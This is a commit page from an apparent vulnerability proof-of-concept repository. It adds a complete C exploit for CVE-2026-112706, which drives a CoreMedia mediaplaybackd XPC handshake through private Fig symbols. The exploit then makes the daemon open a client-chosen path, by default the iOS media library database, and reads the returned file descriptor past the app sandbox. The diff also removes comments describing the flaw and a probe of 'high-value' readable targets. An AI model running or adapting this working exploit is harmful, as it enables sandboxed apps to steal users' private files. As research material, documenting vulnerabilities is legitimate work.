v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,246 @@
|
||||
// cm.fdleak · CoreMedia mediaplaybackd bytestream XPC · Curl fd vend · CVE-2026-112706
|
||||
// File descriptor leak from the byte-stream daemon
|
||||
// C twin of the Swift POC: full FigXPC client — dlsym the Fig* symbols from CoreMedia,
|
||||
// connect to com.apple.coremedia.mediaplaybackd.bytestream.xpc, run the
|
||||
// .rp1/.rp2/.org handshake, then drive the Curl existence oracle and an fd vend.
|
||||
// Build: clang -O2 -fblocks -o cve-2026-112706 CVE-2026-112706.c -framework CoreFoundation
|
||||
// Run: ./cve-2026-112706 [path]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
#include <dlfcn.h>
|
||||
#include <dispatch/dispatch.h>
|
||||
#include <xpc/xpc.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
// ── Fig bindings (dlsym from CoreMedia, mirror of FdLeak.bind) ──
|
||||
typedef int32_t (*fig_basic_message_fn)(uint32_t, uint64_t, void **);
|
||||
typedef int32_t (*fig_origin_begin_fn)(void *);
|
||||
typedef int32_t (*fig_origin_complete_fn)(xpc_object_t, xpc_object_t *);
|
||||
typedef int32_t (*fig_recipient_fn)(xpc_object_t, void *, const char *, xpc_object_t *);
|
||||
typedef int32_t (*fig_set_cfurl_fn)(void *, const char *, CFURLRef);
|
||||
|
||||
static fig_basic_message_fn fig_basic_message;
|
||||
static fig_origin_begin_fn fig_origin_begin;
|
||||
static fig_origin_complete_fn fig_origin_complete;
|
||||
static fig_recipient_fn fig_recipient;
|
||||
static fig_set_cfurl_fn fig_set_cfurl;
|
||||
|
||||
// ── error code map (mirror of FdLeak.describeError) ──
|
||||
static const char *describe_error(int64_t code) {
|
||||
if (code == -12203) return "exists but access denied (-12203)";
|
||||
if (code == -17913) return "no such file (-17913)";
|
||||
if (code == -16158) return "opcode sealed (-16158)";
|
||||
if (code == -12878) return "write denied (-12878)";
|
||||
return "error code";
|
||||
}
|
||||
|
||||
// ── reply plumbing (mirror of FdLeak.send: 6 s timeout, dictionary/error retained) ──
|
||||
typedef struct {
|
||||
dispatch_semaphore_t sem;
|
||||
xpc_object_t reply; // retained by the handler
|
||||
char type_name[24];
|
||||
} send_ctx;
|
||||
|
||||
static const double reply_timeout = 6.0;
|
||||
|
||||
static void classify(xpc_object_t obj, char *out, size_t n) {
|
||||
xpc_type_t t = xpc_get_type(obj);
|
||||
if (t == XPC_TYPE_DICTIONARY) snprintf(out, n, "dictionary");
|
||||
else if (t == XPC_TYPE_ERROR) snprintf(out, n, "error");
|
||||
else if (t == XPC_TYPE_ARRAY) snprintf(out, n, "array");
|
||||
else if (t == XPC_TYPE_STRING) snprintf(out, n, "string");
|
||||
else if (t == XPC_TYPE_INT64) snprintf(out, n, "int64");
|
||||
else snprintf(out, n, "other");
|
||||
}
|
||||
|
||||
// returns 0 on reply, -1 on timeout; box->type_name carries the reply class
|
||||
static int send_and_wait(xpc_connection_t conn, xpc_object_t message, send_ctx *box) {
|
||||
memset(box, 0, sizeof *box);
|
||||
dispatch_semaphore_t sem = dispatch_semaphore_create(0);
|
||||
// heap context: blocks cannot capture C arrays as __block, and on timeout the
|
||||
// handler may fire after this frame is gone — that context is then orphaned
|
||||
// (a few dozen bytes per silent service, bounded by the number of sends)
|
||||
send_ctx *ctx = calloc(1, sizeof *ctx);
|
||||
ctx->sem = sem;
|
||||
|
||||
xpc_connection_send_message_with_reply(conn, message, NULL,
|
||||
^(xpc_object_t reply) {
|
||||
if (reply) {
|
||||
classify(reply, ctx->type_name, sizeof ctx->type_name);
|
||||
if (strcmp(ctx->type_name, "dictionary") == 0 || strcmp(ctx->type_name, "error") == 0) {
|
||||
ctx->reply = xpc_retain(reply);
|
||||
}
|
||||
} else {
|
||||
snprintf(ctx->type_name, sizeof ctx->type_name, "nil");
|
||||
}
|
||||
dispatch_semaphore_signal(sem);
|
||||
});
|
||||
|
||||
dispatch_time_t deadline = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(reply_timeout * NSEC_PER_SEC));
|
||||
if (dispatch_semaphore_wait(sem, deadline) != 0) {
|
||||
snprintf(box->type_name, sizeof box->type_name, "timeout");
|
||||
return -1;
|
||||
}
|
||||
box->reply = ctx->reply;
|
||||
snprintf(box->type_name, sizeof box->type_name, "%s", ctx->type_name);
|
||||
free(ctx);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ── trigger ──
|
||||
int main(int argc, char **argv) {
|
||||
const char *path = argc > 1 ? argv[1] : "/private/var/mobile/Media/iTunes_Control/iTunes/MediaLibrary.sqlitedb";
|
||||
const char *service = "com.apple.coremedia.mediaplaybackd.bytestream.xpc";
|
||||
|
||||
// bind
|
||||
void *cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia", RTLD_NOW);
|
||||
if (!cm) { printf("dlopen CoreMedia failed: %s\n", dlerror()); return 1; }
|
||||
fig_basic_message = (fig_basic_message_fn)dlsym(cm, "FigXPCCreateBasicMessage");
|
||||
fig_origin_begin = (fig_origin_begin_fn)dlsym(cm, "FigMemoryOriginBeginEstablishingMemoryRecipientByFillingInXPCMessage1");
|
||||
fig_origin_complete = (fig_origin_complete_fn)dlsym(cm, "FigMemoryOriginCompleteEstablishingMemoryRecipientUsingXPCMessage2");
|
||||
fig_recipient = (fig_recipient_fn)dlsym(cm, "FigMemoryRecipientCreateWithXPCMessage1AndUpdateXPCMessage2");
|
||||
fig_set_cfurl = (fig_set_cfurl_fn)dlsym(cm, "FigXPCMessageSetCFURL");
|
||||
if (!fig_basic_message || !fig_origin_begin || !fig_origin_complete || !fig_set_cfurl) {
|
||||
printf("Fig symbols missing from CoreMedia\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// connection (lazy: creation succeeds even with no listener)
|
||||
xpc_connection_t conn = xpc_connection_create_mach_service(service, NULL, 0);
|
||||
if (!conn) { printf("xpc_connection_create_mach_service failed\n"); return 1; }
|
||||
printf("connection object created for %s\n", service);
|
||||
xpc_connection_set_event_handler(conn, ^(xpc_object_t o) { });
|
||||
xpc_connection_resume(conn);
|
||||
|
||||
// ---- handshake: .rp1 → .rp2(recipient) → .org(begin/complete)
|
||||
char reply_types[8][24];
|
||||
int ntypes = 0;
|
||||
int established = 0;
|
||||
|
||||
send_ctx r1 = {0};
|
||||
void *m1 = NULL;
|
||||
if (fig_basic_message(0x2E727031, 0, &m1) == 0 && m1) {
|
||||
send_and_wait(conn, (xpc_object_t)m1, &r1);
|
||||
snprintf(reply_types[ntypes++], 24, "%s", r1.type_name);
|
||||
printf("'.rp1' → %s\n", r1.type_name);
|
||||
if (r1.reply && strcmp(r1.type_name, "dictionary") == 0) {
|
||||
send_ctx r2 = {0};
|
||||
void *m2 = NULL;
|
||||
if (fig_basic_message(0x2E727032, 0, &m2) == 0 && m2) {
|
||||
xpc_object_t recipient = NULL;
|
||||
int cr = fig_recipient ? fig_recipient(r1.reply, m2, "cinder27", &recipient) : -1;
|
||||
send_and_wait(conn, (xpc_object_t)m2, &r2);
|
||||
snprintf(reply_types[ntypes++], 24, "%s", r2.type_name);
|
||||
printf("'.rp2' recip=%d → %s\n", cr, r2.type_name);
|
||||
if (r2.reply) xpc_release(r2.reply);
|
||||
xpc_release((xpc_object_t)m2);
|
||||
}
|
||||
}
|
||||
if (r1.reply) xpc_release(r1.reply);
|
||||
xpc_release((xpc_object_t)m1);
|
||||
}
|
||||
|
||||
send_ctx r3 = {0};
|
||||
void *om = NULL;
|
||||
if (fig_basic_message(0x2E6F7267, 0, &om) == 0 && om) {
|
||||
int bg = fig_origin_begin(om);
|
||||
send_and_wait(conn, (xpc_object_t)om, &r3);
|
||||
snprintf(reply_types[ntypes++], 24, "%s", r3.type_name);
|
||||
printf("'.org' begin=%d → %s\n", bg, r3.type_name);
|
||||
if (r3.reply) {
|
||||
// an XPC error object carries its description under this key
|
||||
const char *ed = xpc_dictionary_get_string(r3.reply, XPC_ERROR_KEY_DESCRIPTION);
|
||||
if (ed) printf(" error: %s\n", ed);
|
||||
if (strcmp(r3.type_name, "dictionary") == 0) {
|
||||
xpc_object_t origin = NULL;
|
||||
int cp = fig_origin_complete(r3.reply, &origin);
|
||||
established = (cp == 0);
|
||||
printf("'.org' complete=%d origin=%s\n", cp, origin ? "yes" : "no");
|
||||
}
|
||||
xpc_release(r3.reply);
|
||||
}
|
||||
xpc_release((xpc_object_t)om);
|
||||
}
|
||||
|
||||
printf("handshake established: %s\n", established ? "yes" : "no");
|
||||
|
||||
if (!established) {
|
||||
// a silent service (nothing listening) is different from one that answers and refuses
|
||||
int answered = 0, silent = 1;
|
||||
for (int i = 0; i < ntypes; i++) {
|
||||
if (strcmp(reply_types[i], "dictionary") == 0) answered = 1;
|
||||
if (strcmp(reply_types[i], "timeout") != 0 && strcmp(reply_types[i], "nil") != 0) silent = 0;
|
||||
}
|
||||
printf("reply types: ");
|
||||
for (int i = 0; i < ntypes; i++) printf("%s%s", i ? ", " : "", reply_types[i]);
|
||||
printf("\n");
|
||||
if (silent) {
|
||||
printf("silent service — nothing is listening on this platform\n");
|
||||
printf("CVE-2026-112706 · mediaplaybackd bytestream XPC absent here (iOS-only surface)\n");
|
||||
} else {
|
||||
printf("service answered (%s) but the handshake was refused\n", answered ? "dictionary" : "non-dictionary");
|
||||
printf("CVE-2026-112706 · daemon present, handshake gate closed\n");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ---- existence oracle + vend (runs only on a platform where the daemon answers)
|
||||
CFURLRef url = CFURLCreateWithFileSystemPath(NULL,
|
||||
CFStringCreateWithCString(NULL, path, kCFStringEncodingUTF8),
|
||||
kCFURLPOSIXPathStyle, false);
|
||||
|
||||
// control: the process's own open() must fail — the daemon vends what the app cannot
|
||||
int own = open(path, O_RDONLY);
|
||||
printf("own open() = %d errno=%d (%s)\n", own, errno, own >= 0 ? "ALLOWED — no sandbox here" : strerror(errno));
|
||||
if (own >= 0) close(own);
|
||||
|
||||
void *m = NULL;
|
||||
if (fig_basic_message(0x4375726C, 0, &m) == 0 && m) {
|
||||
fig_set_cfurl(m, "CreationURL", url);
|
||||
xpc_dictionary_set_uint64((xpc_object_t)m, "FileOpenOptions", 0);
|
||||
send_ctx rv = {0};
|
||||
send_and_wait(conn, (xpc_object_t)m, &rv);
|
||||
printf("'Curl' → %s\n", rv.type_name);
|
||||
if (rv.reply && strcmp(rv.type_name, "dictionary") == 0) {
|
||||
xpc_object_t details = xpc_dictionary_get_value(rv.reply, "ByteStreamDetails");
|
||||
if (details) {
|
||||
uint64_t object_id = xpc_dictionary_get_uint64(details, "ObjectID");
|
||||
uint64_t entire = xpc_dictionary_get_uint64(details, "EntireLength");
|
||||
uint64_t server_pid = xpc_dictionary_get_uint64(details, "ServerPID");
|
||||
int fd = xpc_dictionary_dup_fd(details, "FileDescriptor");
|
||||
printf("vend: ObjectID=%llu EntireLength=%llu ServerPID=%llu fd=%d\n",
|
||||
(unsigned long long)object_id, (unsigned long long)entire,
|
||||
(unsigned long long)server_pid, fd);
|
||||
if (fd >= 0) {
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) == 0) {
|
||||
printf("fd mode=%o uid=%u size=%lld\n", st.st_mode, st.st_uid, (long long)st.st_size);
|
||||
}
|
||||
char head[16] = {0};
|
||||
ssize_t got = pread(fd, head, sizeof head, 0);
|
||||
if (got > 0) {
|
||||
printf("head:");
|
||||
for (int i = 0; i < got; i++) printf(" %02x", (unsigned char)head[i]);
|
||||
printf("\n");
|
||||
}
|
||||
close(fd);
|
||||
}
|
||||
} else {
|
||||
int64_t ec = xpc_dictionary_get_int64(rv.reply, ".ErrorReturn");
|
||||
printf("%s (%lld) %s\n", describe_error(ec), (long long)ec, path);
|
||||
}
|
||||
xpc_release(rv.reply);
|
||||
}
|
||||
xpc_release((xpc_object_t)m);
|
||||
}
|
||||
CFRelease(url);
|
||||
|
||||
printf("CVE-2026-112706 · daemon opened a client-chosen path with its own credentials\n");
|
||||
return 0;
|
||||
}
|
||||
@@ -1,25 +1,8 @@
|
||||
// cm.fdleak · CoreMedia · mediaplaybackd.bytestream.xpc · CVE-2026-112706
|
||||
// 原语: 信息泄露 · 系统进程 · tier 1
|
||||
// Primitive: info leak · system process · tier 1
|
||||
//
|
||||
// [zh] CoreMedia bytestream XPC 跨沙盒文件描述符获取
|
||||
//
|
||||
// [en] CoreMedia bytestream XPC cross-sandbox file descriptor acquisition
|
||||
// The launchd service com.apple.coremedia.mediaplaybackd.bytestream.xpc is reachable from any sandboxed
|
||||
// third-party app, checks no entitlement and raises no permission prompt. Its FigXPC memory-origin
|
||||
// handshake (.rp1 → .rp2 → .org) returns status 0 for an unprivileged client; the subsequent 'Curl'
|
||||
// create message carries a client-chosen absolute file:// path in CreationURL, and the daemon opens
|
||||
// that path with its own credentials without checking either that it lies inside the requesting app's
|
||||
// container or that the requester can read it. The reply's ByteStreamDetails dictionary carries a
|
||||
// live FileDescriptor. The app dups it and preads — descriptor-level I/O is not subject to the client
|
||||
// sandbox's path checks, so the full contents of a file the app's own open() returns EPERM for land
|
||||
// in the app container.
|
||||
// ── 判别 / oracle ──
|
||||
// 变体 cm.fdleak.boundary: 跨沙盒可读域边界测绘
|
||||
|
||||
// CoreMedia bytestream XPC cross-sandbox file descriptor acquisition
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -40,20 +23,4 @@ enum B {
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
/*
|
||||
// cm.fdleak.boundary · CoreMedia · mediaplaybackd.bytestream.xpc · CVE-2026-112706
|
||||
// 原语: 探测 · 系统进程 · tier 2
|
||||
// Primitive: probe · system process · tier 2
|
||||
//
|
||||
// [zh] 跨沙盒可读域边界测绘
|
||||
//
|
||||
// [en] Cross-sandbox readable domain boundary mapping
|
||||
// Fifteen high-value targets are each given a 'Curl' probe and the daemon's server-side error code
|
||||
// is recorded, fixing the primitive's actual readable domain. Three outcomes are distinguished: opens,
|
||||
// exists but denied (-12203), does not exist (-17913). The value of this pass is that it leaves
|
||||
// the negative results on record — a target that was refused and a target that was never tested are
|
||||
// entirely different conclusions.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user